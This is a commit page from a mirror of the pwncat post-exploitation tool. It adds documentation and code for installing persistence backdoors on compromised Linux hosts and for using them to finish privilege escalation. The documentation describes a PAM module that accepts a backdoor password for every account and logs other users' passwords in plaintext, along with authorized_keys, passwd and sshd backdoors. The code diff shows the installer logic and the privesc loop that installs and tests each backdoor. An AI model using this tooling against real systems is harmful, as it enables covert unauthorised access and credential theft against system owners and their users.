1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-30 12:24:14 +01:00

privesc now uses persist to overcome UID!=EUID

`pwncat.victim.privesc` will use the first available
and working persistence mechanism to overcome UID!=EUID
situations. Also, added more documentation.
This commit is contained in:
Caleb Stewart 2020-05-20 15:58:43 -04:00
parent 11fe2715ab
commit 72dc93e6f7
10 changed files with 203 additions and 54 deletions

1
.gitignore vendored
View File

@ -8,3 +8,4 @@ dist/
testbed testbed
.idea/ .idea/
data/*.sqlite data/*.sqlite
testing/

22
docs/source/download.rst Normal file
View File

@ -0,0 +1,22 @@
File Download
=============
File download is performed in a similar fashion to file upload. The interface is largely the same
with the parameter order swapped ("source" is a remote file while "destination" is a local file).
This command provides the same local and remote tab-completion and progress bar as with the upload
command.
.. code-block:: bash
(local) pwncat$ download --help
usage: download [-h] source destination
Download a file from the remote host to the local host
positional arguments:
source
destination
optional arguments:
-h, --help show this help message and exit

View File

@ -143,8 +143,11 @@ features.
installation.rst installation.rst
configuration.rst configuration.rst
upload.rst
download.rst
tamper.rst tamper.rst
privesc.rst privesc.rst
persist.rst
Indices and tables Indices and tables
================== ==================

107
docs/source/persist.rst Normal file
View File

@ -0,0 +1,107 @@
Persistence
===========
The ``pwncat.victim.persist`` module provides an abstract way to install various persistence methods
on the target host. To view a list of available persistence methods, you can use the ``--list/-l``
switch:
.. code-block:: bash
(local) pwncat$ persist -l
- authorized_keys as user (local)
- pam as system (local)
- passwd as system (local)
- sshd as system (local)
This output indicates a few things. First, if a given method specifies "as user", then the persistence
method is installed as a specific user. If no user is specified during installation, ``root`` is
attempted, but will likely only succeed if you do not currently have root permissions. Second,
persistence methods marked "local" allow a local user to escalate to that user (or to root for system
persistence modules). This is in contrast to persistence methods which only allow remote access
as the specified user.
To get more information on a specific module, you can pass the ``--method/-m`` option with the method
name when using ``--list/-l``. This will provide the module specific documentation on what is being
installed specifically on the remote system:
.. code-block:: bash
(local) pwncat$ persist -l -m pam
pam as system (local)
Add a malicious PAM module which will allow authentication as any user.
This persistence method will install a custom PAM module which authenticates
every user successfully with your backdoor password. This module also logs
any passwords in plaintext which are not your backdoor password in /var/log/firstlog.
The log file is tracked as a separate tamper and will not be automatically removed
by removing this persistence method.
The remote host **must** have `gcc` and `openssl-devel` packages installed
and you must already have root access.
Persistence Installation Status
-------------------------------
To list all currently installed persistence methods, you can use the ``--status/-s`` switch. This
will list all registered/installed persistence methods known to ``pwncat``. This is also the default
action if no options are specified.
.. code-block:: bash
(local) pwncat$ persist -s
- pam as system (local) installed
This is useful because in some situations, the ``pwncat.victim.privesc`` module will automatically
install persistence. This is normally to overcome a ``EUID != UID`` situation. If this happens,
``pwncat`` will still track persistence methods correctly.
Persistence methods are also tracked by the ``pwncat.victim.tamper`` module. When a persistence
method is installed, it is registered as both a tamper and a persistence method. In this way, using
``tamper -r -a`` will remove all of your modifications including persistence methods. If a persistence
method is removed with tamper, it will also be removed from the persistence status and vice-versa.
Installing Persistence
----------------------
The ``persist`` command can be used to install individual persistence methods. The ``--install/-i``
switch enables this mode. In installation mode, you must specify a module to install with the
``--method/-m`` option. For user-based methods, you should also specify a user. If no user is specified,
``pwncat`` will assume you would like root-level persistence. For system methods, the user argument
is ignored.
.. code-block:: bash
(local) pwncat$ persist -i -m pam
[/] pam_sneaky: adding pam auth configuration: login
(local) pwncat$ persist -i -m authorized_keys -u george
(local) pwncat$ persist
- pam as system (local) installed
- authorized_keys as george (local) installed
Removing Persistence
--------------------
Once again, the ``persist`` command is used to remove persistence from the target host. The
``--remove/-r`` switch is used to enable this mode. You must specify a method with the ``--method/-m``
option. For user-based methods, you must specify a user to remove the persistence from. As with
the install, ``pwncat`` will assume you would like to remove the root persistence. If no user is
specified and persistence as root is not installed, the removal will fail.
.. code-block:: bash
(local) pwncat$ persist -r -m authorized_keys -u george
(local) pwncat$ persist -r -m authorized_keys
[!] authorized_keys as root (local): not installed
As mentioned above, persistence installation is also tracked by the tamper command. The ``tamper``
command can also be used to view and remove persistence methods:
.. code-block:: bash
(local) pwncat$ tamper
0 - Created file /var/log/firstlog
1 - Persistence: pam as system (local)
(local) pwncat$ tamper -r -t 1

27
docs/source/upload.rst Normal file
View File

@ -0,0 +1,27 @@
File Upload
===========
``pwncat`` makes file upload easy through the ``upload`` command. File upload is accomplished via
the ``gtfobins`` modules, which will enumerate available local binaries capable of writing printable
or binary data to files on the remote host. Often, this is ``dd`` if available but could be any
of the many binaries which ``gtfobins`` understands. The upload takes place over the same
connection as your shell, which means you don't need another HTTP or socket server or extra connectivity
to your target host.
At the local ``pwncat`` prompt, local and remote files are tab-completed to provided an easier upload
interface, and a progress bar is displayed.
.. code-block:: bash
(local) pwncat$ upload --help
usage: upload [-h] source destination
Upload a file from the local host to the remote host
positional arguments:
source
destination
optional arguments:
-h, --help show this help message and exit

View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
import traceback
from typing import TextIO, Type from typing import TextIO, Type
from prompt_toolkit import PromptSession, ANSI from prompt_toolkit import PromptSession, ANSI
from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.shortcuts import ProgressBar
@ -228,7 +229,8 @@ class CommandParser:
continue continue
self.dispatch_line(line) self.dispatch_line(line)
except KeyboardInterrupt: except KeyboardInterrupt as exc:
traceback.print_exc()
continue continue
def dispatch_line(self, line: str): def dispatch_line(self, line: str):

View File

@ -10,6 +10,7 @@ from pwncat.commands.base import (
StoreForAction, StoreForAction,
) )
from pwncat import util, privesc from pwncat import util, privesc
from pwncat.persist import PersistenceError
from pwncat.util import State from pwncat.util import State
from colorama import Fore from colorama import Fore
import argparse import argparse
@ -155,30 +156,34 @@ class Command(CommandDefinition):
chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) chain = pwncat.victim.privesc.escalate(args.user, args.max_depth)
ident = pwncat.victim.id ident = pwncat.victim.id
backdoor = False
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
util.progress( util.progress(
"EUID != UID. installing backdoor to complete privesc" "mismatched euid and uid; attempting backdoor installation."
) )
for method in pwncat.victim.persist.available:
if not method.system or not method.local:
continue
try: try:
pwncat.victim.privesc.add_backdoor() # Attempt to install this persistence method
backdoor = True pwncat.victim.persist.install(method.name)
except privesc.PrivescError as exc: if not method.escalate():
util.warn(f"backdoor installation failed: {exc}") # The escalation didn't work, remove it and try the next
pwncat.victim.persist.remove(method.name)
continue
chain.append(
(
f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
"exit",
)
)
break
except PersistenceError:
continue
util.success("privilege escalation succeeded using:") util.success("privilege escalation succeeded using:")
for i, (technique, _) in enumerate(chain): for i, (technique, _) in enumerate(chain):
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
print(f"{(i+1)*' '}{arrow}{technique}") print(f"{(i+1)*' '}{arrow}{technique}")
if backdoor:
print(
(
f"{(len(chain)+1)*' '}{arrow}"
f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"
)
)
pwncat.victim.reset() pwncat.victim.reset()
pwncat.victim.state = State.RAW pwncat.victim.state = State.RAW
except privesc.PrivescError as exc: except privesc.PrivescError as exc:

View File

@ -66,6 +66,11 @@ class Persistence:
for persist in pwncat.victim.host.persistence: for persist in pwncat.victim.host.persistence:
yield persist.user, self.methods[persist.method] yield persist.user, self.methods[persist.method]
@property
def available(self) -> Iterator[str]:
""" Yield all the known methods """
yield from self.methods.values()
def find( def find(
self, self,
name: Optional[str] = None, name: Optional[str] = None,
@ -105,6 +110,8 @@ class Persistence:
raise PersistenceError( raise PersistenceError(
f"{method.format(user)}: non-system methods require a user argument" f"{method.format(user)}: non-system methods require a user argument"
) )
if method.system and user is not None:
user = None
if not method.installed(user): if not method.installed(user):
raise PersistenceError(f"{method.format(user)}: not installed") raise PersistenceError(f"{method.format(user)}: not installed")
method.remove(user) method.remove(user)

View File

@ -151,11 +151,15 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
) )
config = os.path.join("/etc/pam.d", config) config = os.path.join("/etc/pam.d", config)
try: try:
# Read the original content
with pwncat.victim.open(config, "r") as filp: with pwncat.victim.open(config, "r") as filp:
content = filp.readlines() content = filp.readlines()
except (PermissionError, FileNotFoundError): except (PermissionError, FileNotFoundError):
continue continue
# We need to know if there is a rootok line. If there is,
# we should add our line after it to ensure that rootok still
# works.
contains_rootok = any("pam_rootok" in line for line in content) contains_rootok = any("pam_rootok" in line for line in content)
# Add this auth statement before the first auth statement # Add this auth statement before the first auth statement
@ -180,38 +184,6 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except (PermissionError, FileNotFoundError): except (PermissionError, FileNotFoundError):
continue continue
# We need to test if this works. We should be running as root, so
# we will `su` to the first regular user, and then attempt to `su`
# to another user with our known password.
for name, user in pwncat.victim.users.items():
if (
"nologin" not in user.shell
and "false" not in user.shell
and user.id != 0
):
target_user = name
break
else:
target_user = None
# If we didn't find any non-disabled users, we can't test it.
# But we'll assume it worked.
if target_user is not None:
util.progress(f"pam_sneaky: testing module with {target_user}")
# We're root. This won't fail.
pwncat.victim.su(target_user, password=None)
try:
pwncat.victim.su(
"root", password=pwncat.victim.config["backdoor_pass"]
)
util.success(f"pam_sneaky: installation succeeded!")
except PermissionError:
# It didn't work!
self.remove()
raise PersistenceError("pam module install failed")
finally:
pwncat.victim.run("exit", wait=False)
pwncat.victim.tamper.created_file("/var/log/firstlog") pwncat.victim.tamper.created_file("/var/log/firstlog")
except FileNotFoundError as exc: except FileNotFoundError as exc:
# A needed binary wasn't found. Clean up whatever we created. # A needed binary wasn't found. Clean up whatever we created.
@ -282,6 +254,9 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
if user is None: if user is None:
user = "root" user = "root"
try:
pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"]) pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"])
except PermissionError:
return False
return True return True

View File

@ -1030,12 +1030,12 @@ class Victim:
def su(self, user: str, password: str = None): def su(self, user: str, password: str = None):
""" Use the "su" command to switch users. If password is none, no password is sent. """ """ Use the "su" command to switch users. If password is none, no password is sent. """
current_user = self.current_user current_user = self.id
if password is None and current_user.id != 0: if password is None and current_user["uid"]["id"] != 0:
raise PermissionError("no password provided and whoami != root!") raise PermissionError("no password provided and whoami != root!")
if current_user.id != 0: if current_user["uid"]["id"] != 0:
# Verify the validity of the password # Verify the validity of the password
self.env(["su", user, "-c", "echo good"], wait=False) self.env(["su", user, "-c", "echo good"], wait=False)
self.recvuntil(b": ") self.recvuntil(b": ")
@ -1055,7 +1055,7 @@ class Victim:
# Switch users # Switch users
self.env(["su", user], wait=False) self.env(["su", user], wait=False)
if current_user.id != 0: if current_user["uid"]["id"] != 0:
self.recvuntil(b": ") self.recvuntil(b": ")
self.client.sendall(password.encode("utf-8") + b"\n") self.client.sendall(password.encode("utf-8") + b"\n")
self.flush_output() self.flush_output()